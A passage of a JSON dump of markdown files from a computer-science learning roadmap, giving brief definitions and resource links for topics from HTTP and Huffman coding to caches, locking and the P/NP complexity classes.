    "content": "# HTTP?\n\nHTTP is the `TCP/IP` based application layer communication protocol which standardizes how the client and server communicate with each other. It defines how the content is requested and transmitted across the internet.\n\nVisit the following resources to learn more:\n\n- [@article@Everything you need to know about HTTP](https://cs.fyi/guide/http-in-depth)\n- [@article@What is HTTP?](https://www.cloudflare.com/en-gb/learning/ddos/glossary/hypertext-transfer-protocol-http/)\n- [@article@An overview of HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview)\n- [@article@HTTP/3 From A To Z: Core Concepts](https://www.smashingmagazine.com/2021/08/http3-core-concepts-part1/)\n- [@video@HTTP/1 to HTTP/2 to HTTP/3](https://www.youtube.com/watch?v=a-sBfyiXysI)\n- [@video@HTTP Crash Course & Exploration](https://www.youtube.com/watch?v=iYM2zFP3Zn0)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/huffman-coding@QrcijPiVT3bgqfkF-6ssi.md",
    "content": "# Huffman Coding\n\nHuffman coding is a lossless data compression algorithm. The idea is to assign variable-length codes to input characters, lengths of the assigned codes are based on the frequencies of corresponding characters. The most frequent character gets the smallest code and the least frequent character gets the largest code.\n\nVisit the following resources to learn more:\n\n- [@article@Huffman Coding](https://www.programiz.com/dsa/huffman-coding)\n- [@video@Huffman Coding - Greedy Method](https://www.youtube.com/watch?v=co4_ahEDCho)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/in-order-traversal@KTrgf14Q6rg2f0v4dqq2s.md",
    "content": "# In-Order Traversal\n\nIn-order traversal is a tree traversal algorithm that visits the left subtree, the root, and then the right subtree. This is the most common way to traverse a binary search tree. It is also used to create a sorted list of nodes in a binary search tree.\n\nVisit the following resources to learn more:\n\n- [@article@Tree Traversal Techniques](https://www.geeksforgeeks.org/tree-traversals-inorder-preorder-and-postorder/)\n- [@video@Tree | Illustrated Data Structures](https://www.youtube.com/watch?v=S2W3SXGPVyU)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/indexes@BEbsUA39kZ5itqCwD585f.md",
    "content": "# Database Indexes\n\nAn index is a data structure that you build and assign on top of an existing table that basically looks through your table and tries to analyze and summarize so that it can create shortcuts.\n\nVisit the following resources to learn more:\n\n- [@article@Database Indexes Explained](https://www.essentialsql.com/what-is-a-database-index/)\n- [@video@Database Indexing Explained](https://www.youtube.com/watch?v=-qNSXK7s7_w)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/insertion-sort@ujDCW6zZE8dV_fpNf-oIl.md",
    "content": "# Insertion Sort\n\nInsertion sort is a simple sorting algorithm that builds the final sorted array one item at a time by comparisons. It is much less efficient on large lists than more advanced algorithms such as quicksort, heapsort, or merge sort.\n\nVisit the following resources to learn more:\n\n- [@article@Insertion Sort](https://www.programiz.com/dsa/insertion-sort)\n- [@video@Insertion Sort — MIT](https://www.youtube.com/watch?v=Kg4bqzAqRBM&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=4)\n- [@video@Insertion Sort in 3 Minutes](https://www.youtube.com/watch?v=JU767SDMDvA)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/instructions-and-programs@AxiGqbteK7ZSXEUt_zckH.md",
    "content": "# Instructions and Programs\n\nInstructions are the most basic commands a CPU can understand, directing it to perform specific actions like adding numbers or moving data. A program, on the other hand, is a collection of these instructions, organized in a sequence to accomplish a particular task. Think of instructions as individual words and a program as a complete sentence or story; the CPU executes these instructions one by one, following the program's logic, to achieve the desired outcome.\n\nVisit the following resources to learn more:\n\n- [@article@Instruction and Programs](https://nerdfighteria.info/v/zltgXvg6r3k/)\n- [@video@Instructions and Programs](https://youtu.be/zltgXvg6r3k)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/java@1lQSUFrrIGq19nUnM92-I.md",
    "content": "# Java\n\nJava is general-purpose language, primarily used for Internet-based applications. It was created in 1995 by James Gosling at Sun Microsystems and is one of the most popular options for backend developers.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Java Roadmap](https://roadmap.sh/java)\n- [@official@Java](https://www.java.com/)\n- [@video@Java Crash Course](https://www.youtube.com/watch?v=eIrMbAQSU34)\n- [@feed@Explore top posts about Java](https://app.daily.dev/tags/java?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/k-ary--m-ary-tree@UOYeM-hqIKCrB9hGez4Q_.md",
    "content": "# N-ary (K-ary, M-ary) Trees\n\nNote: the N or K is the branching factor (max branches)\n\nBinary trees are a 2-ary tree, with branching factor = 2\n\n2-3 trees are 3-ary\n\nVisit the following resources to learn more:\n\n- [@article@K-Ary Tree](https://en.wikipedia.org/wiki/K-ary_tree)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/k-d-trees@C1eNsPjiQo8INbvL2Lt7L.md",
    "content": "# K-D Trees\n\nK-D Trees are a data structure that allow for fast nearest neighbor search in high dimensional spaces. They are a generalization of binary search trees, and are used in a variety of applications, including computer vision and computational geometry.\n\nVisit the following resources to learn more:\n\n- [@video@K-D Tree Algorithm](https://www.youtube.com/watch?v=Y4ZgLlDfKDg)\n- [@video@K-d Trees - Computerphile](https://www.youtube.com/watch?v=BK5x7IUTIyU)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/knapsack-problem@yHeCRPhfAOWiggZeUHPU9.md",
    "content": "# Knapsack Problem\n\nKnapSack Problem is a classic problem in computer science. It is a problem in which we are given a set of items, each with a weight and a value, and we need to determine which items to include in a collection so that the total weight is less than or equal to a given limit and the total value is as large as possible.\n\nVisit the following resources to learn more:\n\n- [@article@How to solve the Knapsack Problem with dynamic programming](https://medium.com/@fabianterh/how-to-solve-the-knapsack-problem-with-dynamic-programming-eb88c706d3cf)\n- [@video@3.1 Knapsack Problem - Greedy Method](https://www.youtube.com/watch?v=oTTzNMHM05I)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/knuth-morris-pratt@8abFKMfaV9H8F38I0DcMT.md",
    "content": "# Knuth Morris Pratt\n\nKnuth morris pratt is a string searching algorithm that uses a precomputed array to find the substring in a string. This array is known as the prefix function. The prefix function is the longest prefix that is also a suffix of a substring. The prefix function is used to skip the characters that are already matched. The algorithm is as follows:\n\n*   Compute the prefix function of the substring.\n*   Traverse through the string and substring simultaneously.\n*   If the characters match, increment the index of both the string and substring.\n*   If the characters don't match, increment the index of the string by the value of the prefix function at the index of the substring.\n\nVisit the following resources to learn more:\n\n- [@course@Knuth-Morris Pratt](https://www.coursera.org/learn/algorithms-part2/lecture/TAtDr/knuth-morris-pratt)\n- [@video@9.1 Knuth-Morris-Pratt KMP String Matching Algorithm](https://www.youtube.com/watch?v=V5-7GzOfADQ)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/kruskals-algorithm@Wqhg7E-lOz1oNcRXjUej8.md",
    "content": "# Kruskal's algorithm\n\nKruskal's algorithm is a greedy algorithm that finds a minimum spanning tree for a connected weighted graph. It is a minimum spanning tree algorithm that takes a graph as input and finds the subset of the edges of that graph which form a tree that includes every vertex, where the total weight of all the edges in the tree is minimized. If the graph is not connected, then it finds a minimum spanning forest (a minimum spanning tree for each connected component).\n\nVisit the following resources to learn more:\n\n- [@video@Kruskals Algorithm in 2 Minutes](https://www.youtube.com/watch?v=71UQH7Pr9kU)\n- [@video@Graph Algorithms II - DFS, BFS, Kruskals Algorithm, Union Find Data Structure - Lecture 7](https://www.youtube.com/watch?v=ufj5_bppBsA&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=8)\n- [@feed@Explore top posts about Data Science](https://app.daily.dev/tags/data-science?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/lfu-cache@n11ujPI3of-52l2KW2CDQ.md",
    "content": "# LFU Cache\n\nLFU Cache is a data structure that stores key-value pairs. It has a fixed size and when it is full, it removes the least frequently used key-value pair. It is a variation of the LRU Cache and is used in many applications such as caching web pages, caching database queries, and caching images.\n\nVisit the following resources to learn more:\n\n- [@article@Least Frequently Used (LFU) Cache Implementation](https://www.geeksforgeeks.org/least-frequently-used-lfu-cache-implementation/)\n- [@article@1117. Data Structure - LFU Cache](https://jojozhuang.github.io/algorithm/data-structure-lfu-cache/)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/linear-search@XwyqBK9rgP1MMcJrdIzm5.md",
    "content": "# Linear Search\n\nLinear search is a very simple algorithm that is used to search for a value in an array. It sequentially checks each element of the array until a match is found or until all the elements have been searched.\n\nVisit the following resources to learn more:\n\n- [@article@Linear Search](https://www.programiz.com/dsa/linear-search)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/linear@jymhjv8GiFALQpox6aZeu.md",
    "content": "# Linear\n\nLinear algorithms are algorithms that have a runtime that is directly proportional to the size of the input. This means that the runtime of the algorithm will increase linearly with the size of the input. For example, if the input size is 10, the runtime will be 10 times the runtime of the algorithm when the input size is 1. If the input size is 100, the runtime will be 100 times the runtime of the algorithm when the input size is 1.\n\nVisit the following resources to learn more:\n\n- [@article@Linear Search Algorithm](https://www.geeksforgeeks.org/linear-search/)\n- [@video@Big O Notation — Calculating Time Complexity](https://www.youtube.com/watch?v=Z0bH0cMY0E8)\n- [@video@Big O Notations](https://www.youtube.com/watch?v=V6mKVRU1evU)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/linked-list@gr8BK6vq4AVwp_aUozZmf.md",
    "content": "# Linked Lists\n\nArrays store elements in contiguous memory locations, resulting in easily calculable addresses for the elements stored and this allows faster access to an element at a specific index. Linked lists are less rigid in their storage structure and elements are usually not stored in contiguous locations, hence they need to be stored with additional tags giving a reference to the next element. This difference in the data storage scheme decides which data structure would be more suitable for a given situation.\n\nVisit the following resources to learn more:\n\n- [@course@Singly Linked Lists](https://www.coursera.org/lecture/data-structures/singly-linked-lists-kHhgK)\n- [@course@Core: Linked Lists vs Arrays](https://www.coursera.org/lecture/data-structures-optimizing-performance/core-linked-lists-vs-arrays-rjBs9)\n- [@course@In the Real World: Linked Lists vs Arrays](https://www.coursera.org/lecture/data-structures-optimizing-performance/in-the-real-world-lists-vs-arrays-QUaUd)\n- [@course@Doubly Linked Lists](https://www.coursera.org/lecture/data-structures/doubly-linked-lists-jpGKD)\n- [@video@Linked List Data Structure | Illustrated Data Structures](https://www.youtube.com/watch?v=odW9FU8jPRQ)\n- [@video@Linked Lists in 4 minutes](https://www.youtube.com/watch?v=F8AbOfQwl1c)\n- [@video@CS 61B Lecture 7: Linked Lists I](https://archive.org/details/ucberkeley_webcast_htzJdKoEmO0)\n- [@video@CS 61B Lecture 7: Linked Lists II](https://archive.org/details/ucberkeley_webcast_-c4I3gFYe3w)\n- [@video@Why you should avoid Linked Lists?](https://www.youtube.com/watch?v=YQs6IC-vgmo)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/little-endian@rD_5n5bjiNMVC0cPhEVyG.md",
    "content": "# Little Endian\n\nLittle Endian is a way of storing data in memory. It is the opposite of Big Endian. In Little Endian, the least significant byte is stored first. In Big Endian, the most significant byte is stored first.\n\nVisit the following resources to learn more:\n\n- [@video@Big Endian vs Little Endian](https://www.youtube.com/watch?v=JrNF0KRAlyo)\n- [@video@Endianness Explained With an Egg - Computerphile](https://www.youtube.com/watch?v=NcaiHcBvDR4)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/load-balancing@xDiS0HmrEoPjkQg9x2O3o.md",
    "content": "# Load Balancing\n\nLoad balancing is the process of distributing network or application traffic across a cluster of servers. Load balancing is used to improve responsiveness and reliability of applications, maximize throughput, minimize response time, and avoid overload of any single server.\n\nVisit the following resources to learn more:\n\n- [@article@What is Load Balancing? | How load balancers work](https://www.cloudflare.com/learning/performance/what-is-load-balancing/)\n- [@video@Load Balancers 101](https://www.youtube.com/watch?v=galcDRNd5Ow)\n- [@video@What is Load Balancing?](https://www.youtube.com/watch?v=gGLophKzJs8)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/lock--mutex--semaphore@O6-vG3FuoYet4D0hbiyrv.md",
    "content": "# Lock / Mutex / Semaphore\n\nA lock allows only one thread to enter the part that's locked and the lock is not shared with any other processes.\n\nA mutex is the same as a lock but it can be system wide (shared by multiple processes).\n\nA semaphore does the same as a mutex but allows x number of threads to enter, this can be used for example to limit the number of cpu, io or ram intensive tasks running at the same time.\n\nVisit the following resources to learn more:\n\n- [@article@What is the difference between lock, mutex and semaphore?](https://stackoverflow.com/questions/2332765/what-is-the-difference-between-lock-mutex-and-semaphore)\n- [@article@What is a Semaphore](https://stackoverflow.com/questions/34519/what-is-a-semaphore/40238#40238)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/locking@_sm63rZNKoibVndeNgOpW.md",
    "content": "# Locking\n\nLocks are used to prevent data from being modified by multiple processes at the same time. This is important because if two processes are modifying the same data at the same time, the data can become corrupted. Locks are used to prevent this from happening.\n\nVisit the following resources to learn more:\n\n- [@article@Locking in Databases and Isolation Mechanisms](https://medium.com/inspiredbrilliance/what-are-database-locks-1aff9117c290)\n- [@article@Understanding Database Lock Timeouts and Deadlocks](https://www.dbta.com/Columns/DBA-Corner/Understanding-Database-Lock-Timeouts-and-Deadlocks-148659.aspx)\n- [@video@Row-Level Database Locks Explained - (Read vs Exclusive)](https://www.youtube.com/watch?v=nuBi2XbHH18)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/logarithmic@nnlMNkQn1HU4U9yPbV9kQ.md",
    "content": "# Logarithmic\n\nLogarithmic complexity algorithms are the second fastest algorithms. They are faster than linear algorithms, but slower than constant algorithms.\n\nVisit the following resources to learn more:\n\n- [@video@Big O Notation — Calculating Time Complexity](https://www.youtube.com/watch?v=Z0bH0cMY0E8)\n- [@video@Big O Notations](https://www.youtube.com/watch?v=V6mKVRU1evU)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/long-polling@XeJi6TwpI5Uaszj00Uv_2.md",
    "content": "# Long Polling\n\nLong polling is a technique used to implement server push functionality over HTTP. It is a method of opening a request on the server and keeping it open until an event occurs, at which point the server responds. This is in contrast to a regular HTTP request, where the server responds immediately with whatever data is available at the time.\n\nVisit the following resources to learn more:\n\n- [@article@Long Polling](https://javascript.info/long-polling)\n- [@article@What are Long-Polling, Websockets, Server-Sent Events (SSE) and Comet?](https://stackoverflow.com/questions/11077857/what-are-long-polling-websockets-server-sent-events-sse-and-comet)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/longest-path-problem@4QVVYjDODMWsjnrE-4UBs.md",
    "content": "# Longest Path Problem\n\nLongest path problem is a problem that asks us to find the longest path in a graph.\n\nVisit the following resources to learn more:\n\n- [@video@Shortest/Longest path on a Directed Acyclic Graph (DAG) | Graph Theory](https://www.youtube.com/watch?v=TXkDpqjDMHA)\n- [@video@Longest Simple Path - Intro to Algorithms](https://www.youtube.com/watch?v=lRH0tax5dFA)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/lru-cache@cEsboPT8nLvo0Zt0_oBq6.md",
    "content": "# LRU Cache\n\nLRU cache is a cache that evicts the least recently used item first. It is a very common cache algorithm. It is used in many places, such as in the browser cache, the database cache, and the cache of the operating system.\n\nVisit the following resources to learn more:\n\n- [@video@The Magic of LRU Cache (100 Days of Google Dev)](https://www.youtube.com/watch?v=R5ON3iwx78M)\n- [@video@Implementing LRU - Udacity](https://www.youtube.com/watch?v=bq6N7Ym81iI)\n- [@video@LeetCode | 146 LRU Cache | C++ | Explanation](https://www.youtube.com/watch?v=8-FZRAjR7qU)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/maze-solving-problem@nODFT-i2YsxUVsgwWkIWn.md",
    "content": "# Maze Solving Problem\n\nMaze solving problem is a classic problem in computer science. It is a problem where we have to find a path from a starting point to an end point in a maze. The maze is represented as a grid of cells. Each cell can be either a wall or a path. The path cells are connected to each other. The starting point and the end point are also given. The goal is to find a path from the starting point to the end point. The path can only be made up of path cells. The path cannot go through the wall cells.\n\nVisit the following resources to learn more:\n\n- [@opensource@Maze Solving Algorithms](https://github.com/john-science/mazelib/blob/main/docs/MAZE_SOLVE_ALGOS.md)\n- [@article@Maze Solving Algorithms](https://kidscodecs.com/maze-solving-algorithms/)\n- [@video@Maze Solving - Computerphile](https://www.youtube.com/watch?v=rop0W4QDOUI)\n- [@video@Python Maze Solving Tutorial (Using Recursion)](https://www.youtube.com/watch?v=XP94WC_XnZc)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/memory-management@jVsZFTzyrYEDyR8LiBQL0.md",
    "content": "# Memory Management\n\nMemory management is the process of allocating and deallocating memory. It is a very important part of any programming language.\n\nVisit the following resources to learn more:\n\n- [@video@MIT 6.004 L15: The Memory Hierarchy](https://www.youtube.com/watch?v=vjYF_fAZI5E&list=PLrRW1w6CGAcXbMtDFj205vALOGmiRc82-&index=24)\n- [@video@MIT 6.004 L16: Cache Issues](https://www.youtube.com/watch?v=ajgC3-pyGlk&index=25&list=PLrRW1w6CGAcXbMtDFj205vALOGmiRc82-)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/merge-sort@Bh-whDbcCjl3m6mRm9w02.md",
    "content": "# Merge Sort\n\nMerge sort is a divide and conquer algorithm. It divides the input array into two halves, calls itself for the two halves, and then merges the two sorted halves. The `merge()` function is used for merging two halves. The `merge(arr, l, m, r)` is key process that assumes that `arr[l..m]` and `arr[m+1..r]` are sorted and merges the two sorted sub-arrays into one.\n\nVisit the following resources to learn more:\n\n- [@article@Merge Sort Algorithm](https://www.programiz.com/dsa/merge-sort)\n- [@video@Merge Sort in 3 Minutes](https://www.youtube.com/watch?v=4VqmGXwpLqc)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/mfu-cache@hna0HLu0l4NTNNpyGqlW5.md",
    "content": "# MFU Cache\n\nMFU Cache is another cache algorithm. The difference is that instead of deleting the least frequently used entry, the MFU Cache deletes the most frequently used entry.\n\nVisit the following resources to learn more:\n\n- [@article@Comparison of MFU and LRU page replacement algorithms](https://stackoverflow.com/questions/13597246/comparison-of-mfu-and-lru-page-replacement-algorithms)\n- [@article@Why does cache use Most Recently Used (MRU) algorithm as evict policy?](https://stackoverflow.com/questions/5088128/why-does-cache-use-most-recently-used-mru-algorithm-as-evict-policy)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/networking@zG5t3HqbZnh9CGRqp1Sb-.md",
    "content": "# Networking\n\nNetworking is the process of connecting two or more computing devices together for the purpose of sharing data. In a data network, shared data may be as simple as a printer or as complex as a global financial transaction.\n\nIf you have networking experience or want to be a reliability engineer or operations engineer, expect questions from these topics. Otherwise, this is just good to know.\n\nVisit the following resources to learn more:\n\n- [@article@Khan Academy - Networking](https://www.khanacademy.org/computing/code-org/computers-and-the-internet)\n- [@video@Computer Networking Course - Network Engineering](https://www.youtube.com/watch?v=qiQR5rTSshw)\n- [@video@Networking Video Series (21 videos)](https://www.youtube.com/playlist?list=PLEbnTDJUr_IegfoqO4iPnPYQui46QqT0j)\n- [@feed@Explore top posts about Networking](https://app.daily.dev/tags/networking?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/non-tail-recursion@iLEOuQgUgU5Jc38iXDpp5.md",
    "content": "# Non-tail recursion\n\nTail recursion is when a function can directly return the result of a recursive call - there are no outstanding operations, and there is no need for the call stack frame to be preserved. So it can be translated to a “goto with arguments”, and the stack usage will be constant.\n\nIn “non-tail recursion”, there are outstanding operations after the recursive call, and the stack frame cannot be nuked.\n\nVisit the following resources to learn more:\n\n- [@article@What is non-tail recursion?](https://www.quora.com/What-is-non-tail-recursion)\n- [@article@Tail vs Non-Tail Recursion](https://www.baeldung.com/cs/tail-vs-non-tail-recursion)\n- [@video@Recursion (Solved Problem 1)](https://www.youtube.com/watch?v=IVLUGb_gDDE)\n- [@video@Types of Recursion (Part 2) | Tail & Non-tail Recursion](https://www.youtube.com/watch?v=HIt_GPuD7wk)\n- [@feed@Explore top posts about Recursion](https://app.daily.dev/tags/recursion?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/normalization--denormalization@Rw7QjLC8hLtXSwmU_9kHC.md",
    "content": "# Normalization vs Denormalization\n\nDatabase normalization is a process used to organize a database into tables and columns. The idea is that a table should be about a specific topic and that only those columns which support that topic are included. This limits the number of duplicate data contained within your database. This makes the database more flexible by eliminating issues stemming from database modifications.\n\nDenormalization is the opposite of normalization. It is the process of adding redundant data to a database to improve read performance. This is done by adding duplicate data into multiple tables to avoid expensive joins. This is done at the expense of increased storage and decreased write performance.\n\nVisit the following resources to learn more:\n\n- [@video@Normalization vs. Denormalization | Events and Event Streaming](https://www.youtube.com/watch?v=sDU94hraq8g)\n- [@video@Normalization - 1NF, 2NF, 3NF and 4NF](https://www.youtube.com/watch?v=UrYLYV7WSHM)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/np-complete@Lwkz7qozXRlVNA20zJbSw.md",
    "content": "# NP Complete\n\nA problem is NP-complete if it is both NP and NP-hard. NP-complete problems are the hard problems in NP.\n\nVisit the following resources to learn more:\n\n- [@article@Trying to understand P vs NP vs NP Complete vs NP Hard](https://softwareengineering.stackexchange.com/questions/308178/trying-to-understand-p-vs-np-vs-np-complete-vs-np-hard)\n- [@video@Complexity: P, NP, NP-completeness, Reductions](https://www.youtube.com/watch?v=eHZifpgyH_4&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=22)\n- [@video@P vs. NP and the Computational Complexity Zoo](https://www.youtube.com/watch?v=YX40hbAHx3s)\n- [@video@Greedy Algs. II & Intro to NP Completeness](https://youtu.be/qcGnJ47Smlo?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=2939)\n- [@video@NP Completeness II & Reductions](https://www.youtube.com/watch?v=e0tGC6ZQdQE&index=16&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm)\n- [@video@NP Completeness III](https://www.youtube.com/watch?v=fCX1BGT3wjE&index=17&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm)\n- [@video@NP Completeness IV](https://www.youtube.com/watch?v=NKLDp3Rch3M&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=18)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/np-hard@mJJ8DGUpBuHEJ7I6UTy1T.md",
    "content": "# NP-Hard\n\nAn NP-hard problem is at least as hard as the hardest problem in NP and it is the class of the problems such that every problem in NP reduces to NP-hard.\n\nVisit the following resources to learn more:\n\n- [@article@Trying to understand P vs NP vs NP Complete vs NP Hard](https://softwareengineering.stackexchange.com/questions/308178/trying-to-understand-p-vs-np-vs-np-complete-vs-np-hard)\n- [@video@Complexity: P, NP, NP-completeness, Reductions](https://www.youtube.com/watch?v=eHZifpgyH_4&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=22)\n- [@video@Complexity: Approximation Algorithms](https://www.youtube.com/watch?v=MEz1J9wY2iM&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=24)\n- [@video@Complexity: Fixed-Parameter Algorithms](https://www.youtube.com/watch?v=4q-jmGrmxKs&index=25&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp)\n- [@video@Lecture 23: Computational Complexity](https://www.youtube.com/watch?v=moPtwq_cVH8&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=24)\n- [@video@Greedy Algs. II & Intro to NP Completeness](https://youtu.be/qcGnJ47Smlo?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=2939)\n- [@video@NP Completeness II & Reductions](https://www.youtube.com/watch?v=e0tGC6ZQdQE&index=16&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm)\n- [@video@NP Completeness III](https://www.youtube.com/watch?v=fCX1BGT3wjE&index=17&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm)\n- [@video@NP Completeness IV](https://www.youtube.com/watch?v=NKLDp3Rch3M&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=18)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/np@ewXUHpOnjm8YrLhce1dAQ.md",
    "content": "# NP\n\nThe NP in NP class stands for Non-deterministic Polynomial Time. It is the collection of decision problems that can be solved by a non-deterministic machine in polynomial time.\n\nVisit the following resources to learn more:\n\n- [@article@Trying to understand P vs NP vs NP Complete vs NP Hard](https://softwareengineering.stackexchange.com/questions/308178/trying-to-understand-p-vs-np-vs-np-complete-vs-np-hard)\n- [@video@Complexity: P, NP, NP-completeness, Reductions](https://www.youtube.com/watch?v=eHZifpgyH_4&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=22)\n- [@video@Complexity: Approximation Algorithms](https://www.youtube.com/watch?v=MEz1J9wY2iM&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=24)\n- [@video@Complexity: Fixed-Parameter Algorithms](https://www.youtube.com/watch?v=4q-jmGrmxKs&index=25&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp)\n- [@video@Lecture 23: Computational Complexity](https://www.youtube.com/watch?v=moPtwq_cVH8&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=24)\n- [@video@Greedy Algs. II & Intro to NP Completeness](https://youtu.be/qcGnJ47Smlo?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=2939)\n- [@video@NP Completeness II & Reductions](https://www.youtube.com/watch?v=e0tGC6ZQdQE&index=16&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm)\n- [@video@NP Completeness III](https://www.youtube.com/watch?v=fCX1BGT3wjE&index=17&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm)\n- [@video@NP Completeness IV](https://www.youtube.com/watch?v=NKLDp3Rch3M&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=18)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/null-object-pattern@PpFQ0zmObZLvmBvqhTEMz.md",
    "content": "# Null Object Pattern\n\nNull object pattern is a design pattern that is used to represent a null value with an object. It is a way to avoid null reference exceptions by providing a default object that does nothing. It is a way to provide a default behavior in case data is not available.\n\nVisit the following resources to learn more:\n\n- [@article@Design Patterns - Null Object Pattern](https://www.tutorialspoint.com/design_pattern/null_object_pattern.htm)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/osi-model@pZ5x_zDYGzW9VxYycyXtN.md",
    "content": "# OSI and TCP/IP Models\n\nThe OSI and TCP/IP model is used to help the developer to design their system for interoperability. The OSI model has 7 layers while the TCP/IP model has a more summarized form of the OSI model only consisting 4 layers. This is important if you're trying to design a system to communicate with other systems.\n\nVisit the following resources to learn more:\n\n- [@article@Cloudflare - What is the OSI model](https://www.cloudflare.com/learning/ddos/glossary/open-systems-interconnection-model-osi/)\n- [@video@TCP/IP and the OSI Model Explained!](https://www.youtube.com/watch?v=e5DEVa9eSN0)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/owasp-top-10@3rPSp135TdSCyvXzEzn4p.md",
    "content": "# OWASP\n\nOWASP or Open Web Application Security Project is an online community that produces freely-available articles, methodologies, documentation, tools, and technologies in the field of web application security.\n\nVisit the following resources to learn more:\n\n- [@official@OWASP](https://owasp.org/)\n- [@opensource@OWASP Web Application Security Testing Checklist](https://github.com/0xRadi/OWASP-Web-Checklist)\n- [@article@OWASP - Wiki](https://en.wikipedia.org/wiki/OWASP)\n- [@article@OWASP Top 10 Security Risks](https://sucuri.net/guides/owasp-top-10-security-vulnerabilities-2021/)\n- [@article@OWASP Cheatsheets](https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/p--np@0btHNkzWL1w_-pUgU_k2y.md",
    "content": "# P = NP\n\nThe P = NP problem is one of the most famous problems in computer science. It asks whether a problem that can be solved in polynomial time on a non-deterministic machine (i.e., the problem is in NP) can also be solved in polynomial time on a deterministic machine (i.e., the problem is in P).\n\nIf you can find a polynomial-time solution to an NP-complete problem, then all problems in NP can be solved in polynomial time. This shows that P = NP.\n\nIf you can prove for any single NP-complete problem that it is only solvable in exponential time, then all NP-complete problems are only solvable in exponential time. This shows that P ≠ NP.\n\nSo far, we don't know whether P = NP or P ≠ NP.\n\nVisit the following resources to learn more:\n\n- [@article@Whats P=NP?, and why is it such a famous question?](https://stackoverflow.com/questions/111307/whats-p-np-and-why-is-it-such-a-famous-question)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/p@3aM17dPKNi8tRJsW8lesI.md",
    "content": "# P\n\nThe P in the P class stands for Polynomial Time. It is the collection of decision problems(problems with a “yes” or “no” answer) that can be solved by a deterministic machine in polynomial time.\n\nVisit the following resources to learn more:\n\n- [@article@Trying to understand P vs NP vs NP Complete vs NP Hard](https://softwareengineering.stackexchange.com/questions/308178/trying-to-understand-p-vs-np-vs-np-complete-vs-np-hard)\n- [@video@Complexity: P, NP, NP-completeness, Reductions](https://www.youtube.com/watch?v=eHZifpgyH_4&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=22)\n- [@video@Complexity: Approximation Algorithms](https://www.youtube.com/watch?v=MEz1J9wY2iM&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=24)\n- [@video@Complexity: Fixed-Parameter Algorithms](https://www.youtube.com/watch?v=4q-jmGrmxKs&index=25&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp)\n- [@video@Lecture 23: Computational Complexity](https://www.youtube.com/watch?v=moPtwq_cVH8&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=24)\n- [@video@Greedy Algs. II & Intro to NP Completeness](https://youtu.be/qcGnJ47Smlo?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=2939)"
  },
